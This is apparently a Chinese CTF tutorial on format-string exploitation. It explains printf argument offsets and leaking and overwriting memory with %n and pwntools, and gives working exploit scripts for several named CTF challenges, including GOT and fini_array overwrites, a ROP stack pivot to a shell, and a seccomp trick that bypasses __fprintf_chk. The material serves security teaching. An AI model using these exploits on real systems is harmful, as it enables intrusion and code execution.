基础知识 常见格式化字符串函数
函数
基本介绍
printf
输出到stdout
fprintf
输出到指定FILE流
vprintf
根据参数列表格式化输出到stdout
vfprintf
根据参数列表格式化输出到FILE流
sprintf
输出到字符串
snprintf
输出指定字节数到字符串
vsprintf
根据参数列表格式化输出到字符串
vsnprintf
根据参数列表格式化输出指定字节到字符串
常用格式化字符串形式 1 %[parameter][flags][field width][.precision][length]type
parameter
:n$
,获取格式化字符串中的指定第 n 个参数
flags
:在 width
设置后指定可以用来作为填充的内容之类的内容
field width
:输出的最小宽度
precision
:输出的最大长度
length
:输出的长度
type
:
d/i
:有符号整数
u
:无符号整数
x
/X
:16 进制
o
:8 进制
s
:字符串指针指向的字符串
c
:char
类型单个字符
p
:void *
型,输出对应变量的值。例如 printf("%p",a)
用地址的格式打印变量 a
的值,printf("%p", &a)
打印变量 a 所在的地址。
n
:不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
hhn
:写 1 字节
hn
:写 2 字节
n
:写 4 字节
ln
:32 位写 4 字节,64 位写 8 字节
lln
:写 8 字节
原理验证 示例程序:
1 2 3 4 5 6 7 #include <stdio.h> int main () { char s[100 ] = "aaaa.%p.%p.%p.%p.%p.%p.%p" ; printf (s); return 0 ; }
32位 编译命令:
1 gcc test.c -g -m32 -o test
输出结果:
1 aaaa.0x20.(nil).0x565561c5.(nil).(nil).0x61616161.0x2e70252e
栈结构:
00:0000│ esp 0xffffd030 —▸ 0xffffd048 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
01:0004│-094 0xffffd034 ◂— 0x20 /* ' ' */
02:0008│-090 0xffffd038 ◂— 0
03:000c│-08c 0xffffd03c —▸ 0x565561c5 (main+24) ◂— add ebx , 0x2e0f
04:0010│-088 0xffffd040 ◂— 0
05:0014│-084 0xffffd044 ◂— 0
06:0018│ eax 0xffffd048 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
07:001c│-07c 0xffffd04c ◂— '.%p.%p.%p.%p.%p.%p.%p'
自上而下依次是参数 0~6
,参数 0
为格式化字符串地址,而格式化字符串前 4
字节又作为参数 6
(由于栈结构不同,需要视情况而定)。因此如果将格式化字符串合适的位置设置为目标地址就可以对该地址的数据进行操作。
64位 编译命令:
1 gcc test.c -g -m64 -o test
输出结果:
1 aaaa.0x7fffffffde79.(nil).0x1.(nil).0x7fffffffdd28.0x2e70252e61616161.0x70252e70252e7025
寄存器:
* RAX 0x6b
RBX 0
* RCX 1
* RDX 0
* RDI 0x7fffffffd900 —▸ 0x7ffff7c62050 (funlockfile) ◂— endbr64
* RSI 0x7fffffffde79 ◂— 0
* R8 0
* R9 0x7fffffffdd28 ◂— '70252e70252e7025'
* R10 0
* R11 0x70252e70252e7025 ('%p.%p.%p')
R12 0x7fffffffdfe8 —▸ 0x7fffffffe368 ◂— '/home/sky123/Desktop/t'
R13 0x555555555169 (main) ◂— endbr64
R14 0x555555557db8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555120 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
RBP 0x7fffffffded0 ◂— 1
RSP 0x7fffffffde60 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
* RIP 0x55555555520f (main+166) ◂— mov eax , 0
栈结构:
00:0000│ rsp 0x7fffffffde60 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'
01:0008│-068 0x7fffffffde68 ◂— '%p.%p.%p.%p.%p.%p'
02:0010│-060 0x7fffffffde70 ◂— '.%p.%p.%p'
03:0018│ rsi-1 0x7fffffffde78 ◂— 0x70 /* 'p' */
04:0020│-050 0x7fffffffde80 ◂— 0
... ↓ 3 skipped
由于 64 位程序先使用 rdi
、rsi
、rdx
、rcx
、r8
、r9
寄存器作为函数参数的前六个参数,多余的参数会依次压在栈上,第一个参数是格式化字符串指针。因此前 5
个格式化字符串参数对应的输出为寄存器中的值,格式化字符串前 8 个字节作为参数 6
。
泄露内存 泄露栈变量内存 泄露栈变量的值 对于 printf
来说获取栈中被视为第 n
个参数的值可以用 %n$x
(%n$p
)来泄露。
%x
其实只是 %d
的 16 进制输出,对应的是 32 位也就是 4 字节;在 64 位操作系统下,只会截取后 32 位;%p
和系统位数关联没有问题,因此建议用 %p
。
这里的 n
表示会被格式化字符串处理的参数中的第几个(从 1 开始数),例如在 amd64
架构下, snprintf(buf, 0x100, input)
的 input
是可控输入。那么:
格式化字符串的参数是从 input
之后开始数的,也就是说存放在 rcx
的 snprintf
的第 4 个参数被认为是格式化字符串的第 1
个参数。而位于栈顶的参数被认为是第 4
个参数。
如果此时格式化字符串本体 input
存放在距离栈顶偏移 0x530
的位置上,那么就被认为是第 0x530/8 + 4 = 170
个参数。
对于 n = 1
的情况直接写 %1$p
是个无效的格式化字符串,此时格式化字符串函数通常会将其当做普通字符串输出,因此要特判 n = 1
的情况位 %p
。
泄露栈变量对应对应地址的内容 对于 printf
来说获取栈中被视为第 n
个参数指向的地址处的值可以用 %n$s
泄露。
泄露任意地址内存 获取地址 addr
处的值(addr
为第 k
个参数):addr%k$s
实际情况(尤其是 64 位下)addr
地址的数字长度通常不够机器字长,高位会填充 0,因此会造成格式化字符串的 0 截断导致后面的格式化字符串本体不能被格式化字符串函数解析。为了应对这种情况可以把 addr
放到格式化字符串的后面。
格式化字符串中的地址 addr
在栈中可能不关于机器字长对齐,此时需要在地址前填充一些数据确保其能够对齐。
覆盖内存 覆盖内存的原理是 %k$n
可以覆盖第 k 个参数指向的地址为已经输出的字符数量。
注意:覆盖内存只能覆盖栈上某地址指向的内存,而不是直接覆盖栈上某地址。
对于格式化字符串payload,pwntools也提供了一个可以直接使用的类 Fmtstr
,具体文档见http://docs.pwntools.com/en/stable/fmtstr.html。
其中 fmtstr_payload
会根据给定参数生成载荷。它可以为 32 位或 64 位架构生成载荷。地址的大小取决于 context.bits
。
1 pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0 , write_size='byte' )→ str [source]
**offset
(int)**:格式化字符串算作第几个参数。
例如在 amd64
架构下, snprintf(buf, 0x100, input)
的 input
是可控输入。那么如果此时格式化字符串本体 input
存放在距离栈顶偏移 0x530
的位置上,那么就被认为是第 0x530/8 + 4 = 170
个参数。
如果格式化字符串本体在栈上没有按照机器字长对齐需要在前面手动在前面填充字符确保对齐。
**writes
(dict)**:包含要写入地址和写入的值的字典,例如 {addr1: value1, addr2: value2}
。
**numbwritten
(int, 可选)**:格式化字符串函数已输出的字节数。
**write_size
(str, 可选)**:必须是 'byte'
、'short'
或 'int'
。指定是按字节、按短整数还是按整数写入(对应 %hhn
、%hn
或 %n
),默认值为 'byte'
。
overflows
(int, 可选):允许多少额外的溢出(按大小 sz
)以减少格式字符串的长度。这个参数是 格式化字符串长度 与输出量 之间的权衡:较大的 overflows
值会生成较短的格式字符串,但在运行时会生成更多的输出。
**strategy
(str, 可选)**:可以是 'fast'
或 'small'
。默认值为 'small'
,当有多个写操作时可以使用 'fast'
。
**no_dollars
(bool, 可选)**:是否生成不带 $
符号的载荷。
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 context.clear(arch='amd64' ) payload = fmtstr_payload(1 , {0x0 : 0x1337babe }, write_size='int' ) print (payload)payload = fmtstr_payload(1 , {0x0 : 0x1337babe }, write_size='short' ) print (payload)payload = fmtstr_payload(1 , {0x0 : 0x1337babe }, write_size='byte' ) print (payload)payload = fmtstr_payload(6 , {0x8 : 0x55d15d2004a0 }, badbytes=b'\n' ) print (payload)context.clear(arch='i386' ) payload = fmtstr_payload(1 , {0x0 : 0x1337babe }, write_size='int' ) print (payload)payload = fmtstr_payload(1 , {0x0 : 0x1337babe }, write_size='short' ) print (payload)payload = fmtstr_payload(1 , {0x0 : 0x1337babe }, write_size='byte' ) print (payload)payload = fmtstr_payload(1 , {0x0 : 0x00000001 }, write_size='byte' ) print (payload)payload = fmtstr_payload(1 , {0x0 : b"\xff\xff\x04\x11\x00\x00\x00\x00" }, write_size='short' ) print (payload)payload = fmtstr_payload(10 , {0x404048 : 0xbadc0ffe , 0x40403c : 0xdeadbeef }, no_dollars=True ) print (payload)payload = fmtstr_payload(6 , {0x404048 : 0xbadbad00 }, no_dollars=True ) print (payload)
手动构造payload 覆盖小数字 对于小于机器字长的数字,如果把地址放在格式化字符串前面会使得已输出字符个数大于数字大小,因此要将地址放在后面。
以数字2为例:aa%k$n[padding][addr]
覆盖大数字 直接一次性输出大数字个字节来进行覆盖时间过长,因此需要把大数字拆分成若干个部分,分别进行覆盖。比如hhn
按字节写或hn
按双字写。
以 hhn
写入 32bit 数为例,payload 形式为:[addr][addr+1][addr+2][addr+3]%(val1)c%k$hhn%(val2-val1)c%(k+1)$hhn%(val3-(val2-val1))c%(k+2)$hhn%(val4-(val3-(val2-val1)))c%(k+3)$hhn
当然如果地址有 0 截断需要把地址放到后面,不过此时要考虑地址对齐。
例题:ciscn_2019_sw_1 附件下载链接
保护情况:
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
主程序典型的格式化字符串漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { char format[68 ]; setvbuf (stdin, 0 , 2 , 0 ); setvbuf (stdout, 0 , 2 , 0 ); puts ("Welcome to my ctf! What's your name?" ); __isoc99_scanf("%64s" , format); printf ("Hello " ); printf (format); return 0 ; }
init_array
和 fini_array
中存放的函数指针分别在加载和结束时依次调用,且仅在 RELRO
为 NO RELRO
时可以修改。为了多次利用格式化字符串漏洞,需要将 fini_array
修改为 main
函数地址。 第一次执行 main
函数将 fini_array
修改为 main
函数地址,且将 printf@got
修改为 system@plt
。
名称
地址
fini_array
0x0804979C
main
0x08048534
printf@got
0x0804989C
system@plt
0x080483D0
payload
为:
1 2 3 4 5 6 payload = p32 (fini_array+2 ) + p32 (printf_got+2 ) payload += p32 (printf_got) + p32 (fini_array) payload += "%" +str (0x0804 -0x10 )+"c" + "%4$hn" payload += "%5$hn" payload += "%" +str (0x83D0 -0x0804 )+"c" + "%6$hn" payload += "%" +str (0x8534 -0x83D0 )+"c" + "%7$hn"
第二次执行 main
函数 发送 \bin\sh
获取 shell
。
堆上格式化字符串通用解法 例题:2022 Midnight Sun CTF speed6 附件下载链接
存在一个堆上格式化字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned int vuln () { char *buf; unsigned int canary; canary = __readgsdword(0x14 u); buf = (char *)malloc (0x100 u); printf ("f5b: " ); fgets(buf, 0x100 , stdin ); printf (buf); free (buf); return __readgsdword(0x14 u) ^ canary; }
main
函数循环调用 call_vuln
函数,而 call_vuln
函数经过多层函数调用最终调用到 vuln
函数。
1 2 3 4 5 6 7 8 void __cdecl __noreturn main () { setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); banner(); while ( 1 ) call_vuln(); }
首先通过格式化字符串漏洞我们可以泄露栈地址和 libc 基址。
之后考虑构造任意地址写原语。由于格式化字符串在堆上,我们不能直接在栈上布置要写入的地址,因此需要借助栈上的 ebp 链进行构造。
我们发现只要栈上存在一个有 2 跳 的 ebp链就可以构造栈上相对地址写原语 :
由于我们有了栈上相对地址写原语 ,因此可以进一步构造任意地址写原语 : 有了任意地址读写后就考虑如何劫持程序执行流程。
由于格式化字符串函数在一个死循环里面且格式化字符串漏洞无法再一次循环中写入完整地址,因此不能通过直接栈上写 ROP 的方式劫持程序执行流程。
但是由于本题的 RELRO 保护为 Partial RELRO ,可以改 got 表,并且开启 canary 保护,因此我们可以考虑修改 __stack_chk_fail@got
,然后再修改 canary 调用 __stack_chk_fail
函数劫持程序执行流程。
最直接的方法是在 __stack_chk_fail@got
上写 one_gadget 。不过这里有一个更通用的方法,那就是通过栈迁移到栈上的 ROP 完成 get shell 。
我们利用 IDAPython 脚本在 libc 中搜索合适的栈迁移 gadget 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import idcfrom idaapi import *import idautilsstart_ea = None end_ea = None max_len = 10 class Gadget (): def __init__ (self, addr, asms, val ): self .addr = addr self .asms = asms self .val = val if __name__ == '__main__' : for seg in idautils.Segments(): if idc.get_segm_name(seg) == '.text' : start_ea = idc.get_segm_start(seg) end_ea = idc.get_segm_end(seg) break assert start_ea != None fp = open ("rop.txt" , "w" ) gadgets = [] i = start_ea while i < end_ea: asm = idc.generate_disasm_line(i, 0 ).split(";" )[0 ] if asm.startswith("add esp, " ): asms = [asm.replace(" " , " " )] val = idc.get_operand_value(i, 1 ) j = i + get_item_size(i) while j < end_ea: asm = idc.generate_disasm_line(j, 0 ).split(";" )[0 ] asms.append(asm.replace(" " , " " )) if len (asms) > max_len: break if "rsp" in asm or "esp" in asm or "leave" in asm or "call" in asm: break if print_insn_mnem(j) == "push" : val -= 4 if print_insn_mnem(j) == "pop" : val += 4 if print_insn_mnem(j) == "retn" : gadgets.append(Gadget(i, asms, val)) gadget = Gadget(i, asms, val) print ("val: " + hex (gadget.val)) print (hex (gadget.addr) + " : " + "; " .join(gadget.asms) + ";" ) j += get_item_size(j) break j += get_item_size(j) i = j else : i += get_item_size(i) gadgets = sorted (gadgets, key=lambda gadget: gadget.val) print ("_________________________________________" ) print (len (gadgets)) for gadget in gadgets: fp.write("val: " + hex (gadget.val) + "\n" ) fp.write(hex (gadget.addr) + " : " + "; " .join(gadget.asms) + ";\n" ) fp.close()
最终找到了一个可以将 esp 加 0x100 的 gadget 。
1 0xa08c9 : add esp, 100h; sub eax, edx; retn;
我们只需要再栈迁移的目标地址上利用栈上相对地址写原语写入 ROP 即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *elf = ELF("./speed6_patch" ) libc = ELF("./libc.so.6" ) context(arch=elf.arch, os=elf.os) p = process([elf.path]) n16 = lambda x: (x + 0x10000 ) & 0xFFFF p.sendlineafter("f5b: " , "%2$p||%37$p" ) p.recvuntil("0x" ) libc.address = int (p.recvuntil("||" , drop=True ), 16 ) - libc.sym['_IO_2_1_stdin_' ] log.success("libc base: " + hex (libc.address)) stack_addr = int (p.recvuntil("\n" , drop=True ), 16 ) - 0x55 * 4 log.success("stack: " + hex (stack_addr)) def arbitrary_offset_write (offset, value ): assert (stack_addr & 0xFFFF ) + offset < (1 << 16 ) and value < (1 << 16 ) p.sendlineafter('f5b: ' , '%{}c%37$hn' .format ((stack_addr + offset) & 0xFFFF )) p.sendlineafter('f5b: ' , '%{}c%85$hn' .format (value)) def arbitrary_address_write (address, value ): assert address < (1 << 32 ) and value < (1 << 16 ) arbitrary_offset_write(0x30 * 4 , address & 0xFFFF ) arbitrary_offset_write((0x30 * 4 + 2 ) & 0xFFFF , address >> 16 ) p.sendlineafter('f5b: ' , '%{}c%48$hn' .format (value & 0xFFFF )) add_esp_ret = libc.search(asm('add esp, 0x100; sub eax, edx; ret;' ), executable=True ).next () arbitrary_address_write(elf.got['__stack_chk_fail' ], add_esp_ret & 0xFFFF ) arbitrary_address_write(elf.got['__stack_chk_fail' ] + 2 , add_esp_ret >> 16 ) system_addr = libc.sym['system' ] bin_sh_addr = libc.search('/bin/sh' ).next () arbitrary_offset_write(0x43 * 4 , system_addr & 0xFFFF ) arbitrary_offset_write(0x43 * 4 + 2 , system_addr >> 16 ) arbitrary_offset_write(0x45 * 4 , bin_sh_addr & 0xFFFF ) arbitrary_offset_write(0x45 * 4 + 2 , bin_sh_addr >> 16 ) arbitrary_offset_write(0x1c , 0x1 ) p.interactive()
附件下载链接
同样是格式化字符串。
1 2 3 4 5 6 7 8 9 void __cdecl sub_8048651 () { char *buf; puts ("..." ); buf = (char *)malloc (0x100 u); read(0 , buf, 0x37 u); call_vuln(buf); }
但与上一题不同的是这次的格式化字符串是离线操作,不能泄露地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 void __cdecl vuln (char *buf) { char *v1; const char *format; puts ("..." ); v1 = strtok(buf, "|" ); printf (v1); while ( 1 ) { format = strtok(0 , "|" ); if ( !format ) break ; printf (format); } }
另外还有一个后门函数。
1 2 3 4 int backdoor () { return system("/bin/sh" ); }
由于不能泄露地址,因此只能爆破 ebp 链指向返回地址然后写返回地址为 backdoor
函数地址来 get shell 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *elf = ELF("./xman_2019_format" ) context(arch=elf.arch, os=elf.os) context.log_level = 'debug' start = lambda : remote("node4.buuoj.cn" , 25559 ) while True : global p try : p = start() payload = "%" + str (0x9c ) + "c%10$hhn|%" + str (0x85ab ) + "c%18$hn" p.sendlineafter('...' , payload) sleep(1 ) p.sendline('cat flag' ) p.recvline_contains('flag' , timeout=1 ) p.interactive() except KeyboardInterrupt: p.close() exit(0 ) except : p.close()
fprintf_chk 绕过 fprintf_chk
执行 %n
会报错,检测逻辑(glibc2.23
)。
1 2 3 4 5 6 7 8 9 LABEL(form_number) : if (s->_flags2 & _IO_FLAGS2_FORTIFY) { \ if (!readonly_format) { \ extern int __readonly_area(const void *, size_t ) \ attribute_hidden; \ readonly_format = __readonly_area(format, ((STR_LEN(format) + 1 ) * sizeof (CHAR_T))); \ } \ if (readonly_format < 0 ) \ __libc_fatal("*** %n in writable segment detected ***\n" ); \ }
__readonly_area
会通过 fopen
打开 /proc/self/maps
来判断 format
是否是只读段。也就是说只有 format
的内存只读的时候才能有 %n
,从而避免了通过修改 format
实现任意地址写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 int __readonly_area(const char *ptr, size_t size) { const void *ptr_end = ptr + size; FILE *fp = fopen("/proc/self/maps" , "rce" ); if (fp == NULL ) { if (errno == ENOENT || errno == EACCES) return 1 ; return -1 ; } __fsetlocking(fp, FSETLOCKING_BYCALLER); char *line = NULL ; size_t linelen = 0 ; while (!feof_unlocked(fp)) { if (_IO_getdelim(&line, &linelen, '\n' , fp) <= 0 ) break ; char *p; uintptr_t from = strtoul(line, &p, 16 ); if (p == line || *p++ != '-' ) break ; char *q; uintptr_t to = strtoul(p, &q, 16 ); if (q == p || *q++ != ' ' ) break ; if (from < (uintptr_t ) ptr_end && to > (uintptr_t ) ptr) { if (*q++ != 'r' || *q++ != '-' ) break ; if (from <= (uintptr_t ) ptr && to >= (uintptr_t ) ptr_end) { size = 0 ; break ; } else if (from <= (uintptr_t ) ptr) size -= to - (uintptr_t ) ptr; else if (to >= (uintptr_t ) ptr_end) size -= (uintptr_t ) ptr_end - from; else size -= to - from; if (!size) break ; } } fclose(fp); free (line); return size == 0 ? 1 : -1 ; }
结构体 __IO_FILE
利用 _fileno
存储该文件的文件描述符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 _IO_FILE * _IO_file_open (_IO_FILE *fp, const char *filename, int posix_mode, int prot, int read_write, int is32not64) { int fdesc; #ifdef _LIBC if (__glibc_unlikely (fp->_flags2 & _IO_FLAGS2_NOTCANCEL)) fdesc = open_not_cancel (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot); else fdesc = open (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot); #else fdesc = open (filename, posix_mode, prot); #endif if (fdesc < 0 ) return NULL ; fp->_fileno = fdesc; _IO_mask_flags (fp, read_write,_IO_NO_READS+_IO_NO_WRITES+_IO_IS_APPENDING); if ((read_write & (_IO_IS_APPENDING | _IO_NO_READS)) == (_IO_IS_APPENDING | _IO_NO_READS)) { _IO_off64_t new_pos = _IO_SYSSEEK (fp, 0 , _IO_seek_end); if (new_pos == _IO_pos_BAD && errno != ESPIPE) { close_not_cancel (fdesc); return NULL ; } } _IO_link_in ((struct _IO_FILE_plus *) fp); return fp; } libc_hidden_def (_IO_file_open)
如果控制 seccomp
让 open
函数返回 0 就会使 __readonly_area
程序从标志输入中读取数据进行判断,此时只需要输入 000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/vm
即可绕过 %n
检测。
例题:2019 中国技能大赛 pwn2 附件下载链接
edit
函数可以编辑 rule
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 unsigned __int64 edit () { int v1; int v2; unsigned __int64 v3; v3 = __readfsqword(0x28 u); puts ("1.modify the rule." ); puts ("2.modify the chunk." ); puts ("input yout choice: " ); v1 = 0 ; __isoc99_scanf("%d" , &v1); if ( v1 == 1 ) { puts ("input the size" ); v2 = 0 ; __isoc99_scanf("%d" , &v2); if ( (unsigned int )(v2 - 1 ) <= 0xDF ) { puts ("input your content" ); read(0 , rule, v2); } } else if ( v1 == 2 ) { puts ("It's no use." ); } return __readfsqword(0x28 u) ^ v3; }
set
功能可以把 rule
设应用到沙箱。
1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 set () { __int16 v1; void *v2; unsigned __int64 v3; v3 = __readfsqword(0x28 u); prctl(38 , 1LL , 0LL , 0LL , 0LL ); v1 = 11 ; v2 = rule; prctl(22 , 2LL , &v1); return __readfsqword(0x28 u) ^ v3; }
add
功能有 __fprintf_chk
的格式化字符串漏洞,并且如果 random_num
的值为 0x30 则可以泄露基址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 unsigned __int64 leak_libc () { int v0; int v1; _BYTE v3[1288 ]; unsigned __int64 v4; v4 = __readfsqword(0x28 u); memset (v3, 0 , 0x500 uLL); v0 = open("/proc/self/maps" , 0x80000 ); if ( !v0 ) exit (0 ); v1 = v0; read(v0, v3, 0x500 uLL); write(1 , v3, 0x500 uLL); close(v1); puts ("\n" ); return __readfsqword(0x28 u) ^ v4; } unsigned __int64 add () { int v1; char src[4 ]; int v3; __int64 v4; unsigned __int64 v5; v5 = __readfsqword(0x28 u); v3 = 0 ; puts ("input the size" ); __isoc99_scanf("%d" , &v1); global_size = v1; if ( v1 <= 0 ) { puts ("invalid size" ); } else { malloc_node = calloc (v1, 1uLL ); puts ("input your content: " ); __read_chk(0LL , (__int64)src, v1, 240LL ); memcpy (malloc_node, src, v1); __fprintf_chk(stderr , 1LL , src); __printf_chk(1LL , "The random_num+110 is : %d\n" , random_num); if ( random_num == 0x30 ) leak_libc(); } return __readfsqword(0x28 u) ^ v4; }
另外 edit
被 patch 过,在函数开头会向栈中 push 全局变量 random_num
的地址,不难想到 random_num
可以被格式化字符串漏洞修改成 0x30 。
1 2 3 4 5 6 .text:0000000000400DCC push offset random_num .text:0000000000400DD1 nop .text:0000000000400DD2 nop .text:0000000000400DD3 nop .text:0000000000400DD4 nop .text:0000000000400DD5 nop
首先编写一个沙箱规则使得系统调用 open
在打开 /proc/self/maps
时会返回 0 。
我们可以通过 open
的第一个参数最低字节是否为 \x7c
来判断打开的是不是 /proc/self/maps
。 另外注意沙箱规则中的 ERRNO
是系统调用返回的错误码,这个与直接终止进程的 KILL
是不同的。
1 2 3 4 5 6 7 8 9 10 11 12 13 A = arch A == ARCH_X86_64 ? next : dead A = sys_number A == close ? dead : next A == exit_group ? dead : next A == open ? next : allow A = args[0] A &= 0xff A == 0x7c ? dead : next allow: return ALLOW dead: return ERRNO(0)
利用 seccomp-tools
生成规则。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ➜ seccomp-tools asm rule -a amd64 -f raw | seccomp-tools disasm - line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x06 0x00 0x00000003 if (A == close) goto 0010 0004: 0x15 0x05 0x00 0x000000e7 if (A == exit_group) goto 0010 0005: 0x15 0x00 0x03 0x00000002 if (A != open) goto 0009 0006: 0x20 0x00 0x00 0x00000010 A = filename # open(filename, flags, mode) 0007: 0x54 0x00 0x00 0x000000ff A &= 0xff 0008: 0x15 0x01 0x00 0x0000007c if (A == 124) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00050000 return ERRNO(0)
在调用 __fprintf_chk
时 random_num
位于第 6 个参数,而格式化字符串位于第 2 个参数,因此构造格式化字符串 %16p%16p%16p%ln
可以输出 0x30 个字符且 %ln
恰好对应 random_num
。这样就可以将 random_num
修改为 0x30 实现 libc 基址泄露。另外注意由于沙箱规则使得 open
打开 /proc/self/maps
时会返回 0 ,因此需要在调用 __fprintf_chk
时输入 000000000000-7fffffffffff r-xp 00000000 00:00 0 /bin/vm
绕过__fprintf_chk
的检查。 后续按照同样的方法修改 free@got
为 system
函数地址完成 getshell 。
fini_array 不可写绕过 1 2 3 4 5 6 7 8 9 if (l->l_info[DT_FINI_ARRAY] != NULL ) { ElfW (Addr) *array = (ElfW (Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW (Addr))); while (i-- > 0 ) ((fini_t ) array[i]) (); }
调用的汇编代码如下(ubuntu18.04
).
1 2 3 0x7ff6e56accff <_dl_fini+447 > lea r15 , [rcx + rdx *8 ]0x7ff6e56acd10 <_dl_fini+464 > call qword ptr [r15 ]
rdx 固定为 0 ,rcx 来自下面的代码片段。
1 2 3 4 5 0x7ff6e56accda <_dl_fini+410 > mov r15 , qword ptr [rax + 8 ] <_DYNAMIC+88 >0x7ff6e56accde <_dl_fini+414 > mov rax , qword ptr [r13 + 0x120 ] <_DYNAMIC+80 >0x7ff6e56acce5 <_dl_fini+421 > mov rcx , qword ptr [r13 ]0x7ff6e56acce9 <_dl_fini+425 > mov rax , qword ptr [rax + 8 ]0x7ff6e56acced <_dl_fini+429 > add rcx , r15 <__do_global_dtors_aux_fini_array_entry>
r13 的值为一个指针,该指针在 printf
执行的栈上存在,可以控制 [r13]
为 target_ptr - fini_array_addr
从而劫持 fini_array
。